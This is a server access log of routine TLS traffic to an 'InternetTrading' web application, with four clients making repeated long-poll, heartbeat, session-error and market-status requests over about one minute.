[09/Jan/2026:13:41:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937573614 HTTP/1.1" -
[09/Jan/2026:13:41:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937580414 HTTP/1.1" -
[09/Jan/2026:13:41:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937574508 HTTP/1.1" -
[09/Jan/2026:13:41:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937592194 HTTP/1.1" -
[09/Jan/2026:13:41:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937578801 HTTP/1.1" -
[09/Jan/2026:13:41:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937585473 HTTP/1.1" -
[09/Jan/2026:13:41:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937579573 HTTP/1.1" -
[09/Jan/2026:13:41:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:41:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:41:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:41:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937598194 HTTP/1.1" -
[09/Jan/2026:13:41:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937590503 HTTP/1.1" -
[09/Jan/2026:13:41:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937583941 HTTP/1.1" -
[09/Jan/2026:13:41:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937584661 HTTP/1.1" -
[09/Jan/2026:13:41:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937604185 HTTP/1.1" -
[09/Jan/2026:13:42:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937595608 HTTP/1.1" -
[09/Jan/2026:13:42:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937589081 HTTP/1.1" -
[09/Jan/2026:13:42:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:42:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937589713 HTTP/1.1" -
[09/Jan/2026:13:42:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937600703 HTTP/1.1" -
[09/Jan/2026:13:42:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937610191 HTTP/1.1" -
[09/Jan/2026:13:42:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937594289 HTTP/1.1" -
[09/Jan/2026:13:42:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937594776 HTTP/1.1" -
[09/Jan/2026:13:42:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937605792 HTTP/1.1" -
[09/Jan/2026:13:42:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937615256 HTTP/1.1" -
[09/Jan/2026:13:42:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937599356 HTTP/1.1" -
[09/Jan/2026:13:42:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937599842 HTTP/1.1" -
[09/Jan/2026:13:42:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937610857 HTTP/1.1" -
[09/Jan/2026:13:42:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937620321 HTTP/1.1" -
[09/Jan/2026:13:42:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937604491 HTTP/1.1" -
[09/Jan/2026:13:42:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937604870 HTTP/1.1" -
[09/Jan/2026:13:42:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:42:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:42:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937615942 HTTP/1.1" -
[09/Jan/2026:13:42:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937625348 HTTP/1.1" -
[09/Jan/2026:13:42:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937609633 HTTP/1.1" -
[09/Jan/2026:13:42:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:42:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937609986 HTTP/1.1" -
[09/Jan/2026:13:42:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937630368 HTTP/1.1" -
[09/Jan/2026:13:42:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937620969 HTTP/1.1" -
[09/Jan/2026:13:42:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937614816 HTTP/1.1" -
[09/Jan/2026:13:42:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937615006 HTTP/1.1" -
[09/Jan/2026:13:42:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937635411 HTTP/1.1" -
[09/Jan/2026:13:42:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937626044 HTTP/1.1" -
[09/Jan/2026:13:42:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937619960 HTTP/1.1" -
[09/Jan/2026:13:42:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:42:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937620032 HTTP/1.1" -
[09/Jan/2026:13:42:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937640480 HTTP/1.1" -
[09/Jan/2026:13:42:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937631157 HTTP/1.1" -
[09/Jan/2026:13:42:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937625428 HTTP/1.1" -
[09/Jan/2026:13:42:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937625116 HTTP/1.1" -
[09/Jan/2026:13:42:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937645549 HTTP/1.1" -
[09/Jan/2026:13:42:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937636231 HTTP/1.1" -
[09/Jan/2026:13:42:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937630500 HTTP/1.1" -
[09/Jan/2026:13:42:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937630187 HTTP/1.1" -
[09/Jan/2026:13:42:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937650619 HTTP/1.1" -
[09/Jan/2026:13:42:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937641316 HTTP/1.1" -
[09/Jan/2026:13:42:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937635564 HTTP/1.1" -
[09/Jan/2026:13:42:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937635271 HTTP/1.1" -
[09/Jan/2026:13:42:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:42:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:42:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937655644 HTTP/1.1" -
[09/Jan/2026:13:42:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937646389 HTTP/1.1" -
[09/Jan/2026:13:42:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937640705 HTTP/1.1" -
[09/Jan/2026:13:42:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
